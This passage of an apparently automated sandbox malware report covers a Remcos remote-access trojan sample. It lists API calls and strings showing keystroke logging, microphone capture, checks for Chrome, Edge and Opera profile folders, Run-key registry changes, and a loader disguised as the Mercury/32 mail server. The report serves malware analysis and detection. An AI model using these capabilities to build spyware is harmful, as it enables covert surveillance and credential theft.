waveInPrepareHeader.WINMM(3BDDCCB0,00000020,?,?,00476B50,00474EE0,?,00000000,00401A15), ref: 00401849
waveInAddBuffer.WINMM(3BDDCCB0,00000020,?,00000000,00401A15), ref: 0040185F

Strings

XMG, xrefs: 004017F8

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: wave$BufferHeaderPrepare
String ID: XMG
API String ID: 2315374483-813777761
Opcode ID: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
Opcode Fuzzy Hash: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00448AE6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

IsValidLocale.KERNEL32(00000000,JD,00000000,00000001,?,?,00444AEA,?,?,004444CA,?,00000004), ref: 00448B32

Strings

IsValidLocaleName, xrefs: 00448AF7, 00448B01
JD, xrefs: 00448B29, 00448B16

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: LocaleValid
String ID: IsValidLocaleName$JD
API String ID: 1901932003-2234456777
Opcode ID: 98bf4732c76f9d0cbfb8c103c3b900cf5be1bffc9926f7dc5154a94851103fac
Instruction ID: c43517d2c5aad0833927174c53c021eab8a1ac695cd7bc198788f3b2bcf9e263
Opcode Fuzzy Hash: 98bf4732c76f9d0cbfb8c103c3b900cf5be1bffc9926f7dc5154a94851103fac
Instruction Fuzzy Hash: D6F05230A80308F7DB106B60DC06FAEBF58CB04B52F10017EFD046B291CE786E05929E

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 0040C4F6

Strings

UserProfile, xrefs: 0040C4CA
\AppData\Local\Google\Chrome\, xrefs: 0040C4E0

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: UserProfile$\AppData\Local\Google\Chrome\
API String ID: 1174141254-4188645398
Opcode ID: 17c9011fa542958c15b72ddc3a7e9f127f6f7589f16583e289a5dca73bf18d7d
Instruction ID: 529cceb54bdbac8586af3e6ebd5273a77adcdcd577382419881006e182ae29c8
Opcode Fuzzy Hash: 17c9011fa542958c15b72ddc3a7e9f127f6f7589f16583e289a5dca73bf18d7d
Instruction Fuzzy Hash: 96F05E31A00219A6C604BBF69C478BF7B3C9D50709B50017FBA01B61D3EE789945C6EE

Uniqueness

Uniqueness Score: -1.00%

Function 0040C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 0040C559

Strings

\AppData\Local\Microsoft\Edge\, xrefs: 0040C543
UserProfile, xrefs: 0040C52D

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: UserProfile$\AppData\Local\Microsoft\Edge\
API String ID: 1174141254-2800177040
Opcode ID: 301bca9181d55b465d3b8d6a7efc18935aa9a07cf1e99a5e84e545466515311e
Instruction ID: 330371ab8f71d6844e3501a7b0875f3b866c8fe31c1dcac5d822fe972055fe7f
Opcode Fuzzy Hash: 301bca9181d55b465d3b8d6a7efc18935aa9a07cf1e99a5e84e545466515311e
Instruction Fuzzy Hash: ECF05E31A00219A6CA14B7B69C47CEF7B6C9D50705B10017FB602B61D2EE78994186EE

Uniqueness

Uniqueness Score: -1.00%

Function 0040C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,\Opera Software\Opera Stable\,00000000), ref: 0040C5BC

Strings

AppData, xrefs: 0040C590
\Opera Software\Opera Stable\, xrefs: 0040C5A6

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: AppData$\Opera Software\Opera Stable\
API String ID: 1174141254-1629609700
Opcode ID: b8c516bb158aa04a74b03855c1146b8495a40d5fbf5c647b7b4dc51e59d10cd3
Instruction ID: 49b076bb86b4c8db4da1bdedad10e463925805c403c57d636a3174f469f12df7
Opcode Fuzzy Hash: b8c516bb158aa04a74b03855c1146b8495a40d5fbf5c647b7b4dc51e59d10cd3
Instruction Fuzzy Hash: 13F05E31A00319A6CA14B7B69C47CEF7B7C9D10709B40017BB601B61D2EE789D4586EA

Uniqueness

Uniqueness Score: -1.00%

Function 0040B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000011), ref: 0040B64B

Part of subcall function 0040A3E0: GetForegroundWindow.USER32 ref: 0040A416
Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
Part of subcall function 0040A3E0: GetKeyboardLayout.USER32(00000000), ref: 0040A429
Part of subcall function 0040A3E0: GetKeyState.USER32(00000010), ref: 0040A433
Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43E
Part of subcall function 0040A3E0: ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A461
Part of subcall function 0040A3E0: ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 0040A4C1

Part of subcall function 0040A636: SetEvent.KERNEL32(00000000,?,00000000,0040B20A,00000000), ref: 0040A662

Strings

[AltR], xrefs: 0040B681
[AltL], xrefs: 0040B68D

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
String ID: [AltL]$[AltR]
API String ID: 2738857842-2658077756
Opcode ID: b517c3644f2a0ff5b445e5d425ade51854f5aabe0ba9e4ed4d9bf29b6b0d38c2
Instruction ID: e48b288e44f9d4c6b211653e2fe3bcc76c2b66b59b43e84e4aaf588e4500f4a3
Opcode Fuzzy Hash: b517c3644f2a0ff5b445e5d425ade51854f5aabe0ba9e4ed4d9bf29b6b0d38c2
Instruction Fuzzy Hash: 3BE0652134021052C828323E592F6BE2D51C742754B86057FF9826B6C5DABF4D1542CF

Uniqueness

Uniqueness Score: -1.00%

Function 0044ECEC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
GetACP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED2E

Strings

uD, xrefs: 0044ED05

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID: uD
API String ID: 0-2547262877
Opcode ID: b77d3b663c6aed767531e5de151c2f7480185761a2f62c70c64f4560ad89233a
Instruction ID: 19c10458df6b4aed5d20bc802b22671fd2b069e30d3a1616a3713fc20edc201d
Opcode Fuzzy Hash: b77d3b663c6aed767531e5de151c2f7480185761a2f62c70c64f4560ad89233a
Instruction Fuzzy Hash: A5F0C871800105CBEB20DB55DC897697771BF11335F144755E4394A6E2C7B98C81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00448957 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996

Strings

PkGNG, xrefs: 00448959
GetSystemTimePreciseAsFileTime, xrefs: 00448972

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Time$FileSystem
String ID: GetSystemTimePreciseAsFileTime$PkGNG
API String ID: 2086374402-949981407
Opcode ID: 14ade04f60bc73be69f0a8e2d41fd66075f217d790f0afe8d3aaf6a6c36f91f3
Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
Opcode Fuzzy Hash: 14ade04f60bc73be69f0a8e2d41fd66075f217d790f0afe8d3aaf6a6c36f91f3
Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE

Uniqueness

Uniqueness Score: -1.00%

Function 0041618A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161A8

Strings

open, xrefs: 004161A2
!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: !D@$open
API String ID: 587946157-1586967515
Opcode ID: bb18f393a94152f83cce48417cccfa788a776dd848670c049a324d78068a8282
Instruction ID: 73504a7432a82bf20c2cd712858cac99996ed9f8eaf32da6c0f13d1c3fa6c831
Opcode Fuzzy Hash: bb18f393a94152f83cce48417cccfa788a776dd848670c049a324d78068a8282
Instruction Fuzzy Hash: 2FE0ED712483059AD614EA72DC91AFE7358AB54755F40083FF506514E2EE3C5849C65A

Uniqueness

Uniqueness Score: -1.00%

Function 0045554B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

___initconout.LIBCMT ref: 0045555B

Part of subcall function 00456B1D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00455560,00000000,PkGNG,0044B59D,?,FF8BC35D,00000000,?,00000000), ref: 00456B30

WriteConsoleW.KERNEL32(FFFFFFFE,FF8BC369,00000001,00000000,00000000,00000000,PkGNG,0044B59D,?,FF8BC35D,00000000,?,00000000,PkGNG,0044BB19,?), ref: 0045557E

Strings

PkGNG, xrefs: 0045554D

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ConsoleCreateFileWrite___initconout
String ID: PkGNG
API String ID: 3087715906-263838557
Opcode ID: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
Instruction ID: e84ccb038854987deafcb7b601af55b429ad8f27f18c1f17be9b2782bd97289a
Opcode Fuzzy Hash: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
Instruction Fuzzy Hash: 10E02B70500508BBD610CB64DC25EB63319EB003B1F600315FE25C72D1EB34DD44C759

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000012), ref: 0040B6A5

Strings

[CtrlR], xrefs: 0040B6C2
[CtrlL], xrefs: 0040B6D3

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: State
String ID: [CtrlL]$[CtrlR]
API String ID: 1649606143-2446555240
Opcode ID: c765968ff3d10558f6a95e5840c5c1bc63f6cd989c8fe2dffd6df2c532e6808f
Instruction ID: bec5627f59812d2efb235ad4bfa8f6d19d2d97b3e0140e65676d9d4505e8418d
Opcode Fuzzy Hash: c765968ff3d10558f6a95e5840c5c1bc63f6cd989c8fe2dffd6df2c532e6808f
Instruction Fuzzy Hash: 6FE04F2160021052C524363D5A1E67D2911CB52754B42096FF882A76CADEBF891543CF

Uniqueness

Uniqueness Score: -1.00%

Function 0040E79F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776

__Init_thread_footer.LIBCMT ref: 00410F29

Strings

0kG, xrefs: 00410F31
,kG, xrefs: 00410F04

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Init_thread_footer__onexit
String ID: ,kG$0kG
API String ID: 1881088180-2015055088
Opcode ID: 55ded91c2411799c93627b1e27181bc6755349442ad5772556d3e3dbb5a5a571
Instruction ID: c595ded0a674a2b9ccc74dbc71d20adb946c68f5a758ea4f5ad5526f3cc50642
Opcode Fuzzy Hash: 55ded91c2411799c93627b1e27181bc6755349442ad5772556d3e3dbb5a5a571
Instruction Fuzzy Hash: 35E0D8312149208EC214A32995829C93791DB4E335B61412BF414D72D5CBAEB8C1CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 00413A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,?,80000002,80000002,0040D4CE,00000000,?,00000000), ref: 00413A31
RegDeleteValueW.ADVAPI32(?,?,?,00000000), ref: 00413A45

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A2F

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: DeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
API String ID: 2654517830-1051519024
Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
Instruction ID: 6fb421a43559def270d35797bbb86f7c8bc210cd52a17bc53693ea6618a40a87
Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
Instruction Fuzzy Hash: 99E0C23124420CFBDF104F71DD06FFA376CDB01F42F1006A5BA0692091C626DF049668

Uniqueness

Uniqueness Score: -1.00%

Function 00440C91 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D27
GetLastError.KERNEL32 ref: 00440D35
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440D90

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: a909a75f279edaa9992fcfd87f44a9f238bfc46e7277e37c8624290a99980dba
Instruction ID: f204e272a103731937cf510deb2d9f687334ef06d731906aa630a644c7418207
Opcode Fuzzy Hash: a909a75f279edaa9992fcfd87f44a9f238bfc46e7277e37c8624290a99980dba
Instruction Fuzzy Hash: BA411871A00206EFEF218FA5C8447AB7BA5EF45310F10816BFA549B3A1DB38AD25C759

Uniqueness

Uniqueness Score: -1.00%

Function 00411B5F Relevance: 5.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,00000000,00000001,?,?,?,00411EF0), ref: 00411B8C
IsBadReadPtr.KERNEL32(?,00000014,00411EF0), ref: 00411C58
SetLastError.KERNEL32(0000007F), ref: 00411C7A
SetLastError.KERNEL32(0000007E,00411EF0), ref: 00411C91

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
Instruction ID: 277f4bdee2933866d2d1c697a3b04f0a6a13197b354a533a519a822f1f8833ca
Opcode Fuzzy Hash: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
Instruction Fuzzy Hash: 37419C75244305DFE7248F18DC84BA7B3E8FB48711F00082EEA8A87661F739E845CB99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: remcos.exePID: 3492, Parent PID: 5000COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1268
Total number of Limit Nodes:	8

Executed Functions

Function 0040128D Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101
registryfiletimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000000,Software\Mercury32,?), ref: 004012B3
RegQueryValueA.ADVAPI32(?,BaseDir,?,?), ref: 004012DA
RegCloseKey.ADVAPI32(?), ref: 004012E6
RegCloseKey.ADVAPI32(?), ref: 004012F3
FindFirstFileA.KERNEL32(?,?), ref: 0040133C
FindClose.KERNEL32(00000000,?,?), ref: 00401347
GetLocalTime.KERNEL32(?), ref: 00401392

Strings

BaseDir, xrefs: 004012D2
Software\Mercury32, xrefs: 004012A9
C:\ProgramData\Remcos, xrefs: 00401297, 004012FF
%s\Loader.Log, xrefs: 0040131A
r+t, xrefs: 00401364
%02d-%02d-%02d.%02d%02d: %s, xrefs: 004013CA

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID: Close$Find$FileFirstLocalOpenQueryTimeValue
String ID: %02d-%02d-%02d.%02d%02d: %s$%s\Loader.Log$BaseDir$C:\ProgramData\Remcos$Software\Mercury32$r+t
API String ID: 3460814986-900928516
Opcode ID: 0fafee7130c1bb9ded1b2921e2bb797deb568f4e708ab1a19d06aa523d814d83
Instruction ID: dfd861be5d27ab76580011db74593427ab2e3e9b6d1f87f4f499b649e2b96ce4
Opcode Fuzzy Hash: 0fafee7130c1bb9ded1b2921e2bb797deb568f4e708ab1a19d06aa523d814d83
Instruction Fuzzy Hash: C231A9B1D00218A6DB2197A1DC42FEE727C9B58704F1005BFBA45B11D2EBBC9B8497AC

Uniqueness

Uniqueness Score: -1.00%

Function 004018AE Relevance: 70.3, APIs: 20, Strings: 20, Instructions: 297
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,?,00000100), ref: 004018E5
lstrlenA.KERNEL32(?), ref: 00401957
CharLowerBuffA.USER32(?,00000000,?), ref: 00401964
OpenSemaphoreA.KERNEL32(001F0003,00000000,?), ref: 0040199D
CloseHandle.KERNEL32(00000000), ref: 004019A7

Part of subcall function 00401612: RegOpenKeyA.ADVAPI32(80000000,?,?), ref: 0040163A

Strings

Recovery complete - attempting to restart Mercury., xrefs: 00401C7A
Too many abnormal terminations in time period - attempting recovery., xrefs: 00401C66
D, xrefs: 00401A77
C:\ProgramData\Remcos, xrefs: 0040191D
:\/, xrefs: 00401975
%s\m32-ssu.run, xrefs: 00401BEB
There is already a copy of Mercury/32 running from this directory.Only one copy may be run at a time from any given install directory., xrefs: 004019B3
Mercury/32 Loader shutting down., xrefs: 00401C93
Mercury/32 Loader Started, xrefs: 0040192A
Multiple sessions from the same install directory detected - terminating, xrefs: 004019BF
%s\m32.run, xrefs: 00401BB7
W, xrefs: 00401B59
Normal operation restored - resetting counters., xrefs: 00401B93
Loader encountered Windows error %d creating Mercury/32 process., xrefs: 00401AD8
Mercury/32 Loader Error, xrefs: 004019AE
%s\mercury.exe -E, xrefs: 004019E8
Abnormal terminations continued after attempted recovery - exiting., xrefs: 00401C59
mercury32.pmail.com.run.%.60s, xrefs: 0040193C
Restarting Mercury after apparent abnormal termination, xrefs: 00401C2F
Restarting Mercury after scheduled daily exit, xrefs: 00401C21

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID: Open$BuffCharCloseFileHandleLowerModuleNameSemaphorelstrlen
String ID: %s\m32-ssu.run$%s\m32.run$%s\mercury.exe -E$:\/$Abnormal terminations continued after attempted recovery - exiting.$C:\ProgramData\Remcos$D$Loader encountered Windows error %d creating Mercury/32 process.$Mercury/32 Loader Error$Mercury/32 Loader Started$Mercury/32 Loader shutting down.$Multiple sessions from the same install directory detected - terminating$Normal operation restored - resetting counters.$Recovery complete - attempting to restart Mercury.$Restarting Mercury after apparent abnormal termination$Restarting Mercury after scheduled daily exit$There is already a copy of Mercury/32 running from this directory.Only one copy may be run at a time from any given install directory.$Too many abnormal terminations in time period - attempting recovery.$W$mercury32.pmail.com.run.%.60s
API String ID: 527459832-1550949876
Opcode ID: 21806626913b0df371d69415627cef80720bedf28f1a3404ab7f6c3db0ba0880
Instruction ID: 9b5fbd67cbc3e190377a54b581c7df8cf1cf74e5fc47f7b393678a9f4ffd1dd2
Opcode Fuzzy Hash: 21806626913b0df371d69415627cef80720bedf28f1a3404ab7f6c3db0ba0880
Instruction Fuzzy Hash: 82A19AB19443196ADB10E7A18C43FEA73789F44704F1045BFF644B61D2EBBC96888EAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,0040D0D4), ref: 00401035
GetEnvironmentStrings.KERNEL32 ref: 0040B514
GetCommandLineA.KERNEL32 ref: 0040B51E

Strings

C:\ProgramData\Remcos, xrefs: 00401011
`6g, xrefs: 0040B523, 0040B59B

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID: CommandEnvironmentHandleLineModuleStrings
String ID: C:\ProgramData\Remcos$`6g
API String ID: 1584138308-4140288315
Opcode ID: 5af8f9c36be296b6b91c95da3a50d919bc7001994e3f0b2d056ede415890b488
Instruction ID: 1e125b975a801eda77775a79630f441c36246d9b4f70de590b5ee850b0935413
Opcode Fuzzy Hash: 5af8f9c36be296b6b91c95da3a50d919bc7001994e3f0b2d056ede415890b488
Instruction Fuzzy Hash: C8413670904304ABDB209F69DC86B6637A5EB4530CF2441BBE645BB3D2DB789842C7DE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE18 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,01F720A0,000000FF), ref: 0040AE48

Strings

Out of memory in _setargv0, xrefs: 0040AE30

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID: FileModuleName
String ID: Out of memory in _setargv0
API String ID: 514040917-2942948061
Opcode ID: 8849eb4b992d70840f09de2f41c067b23d30e3319a69c04082766a08399211d7
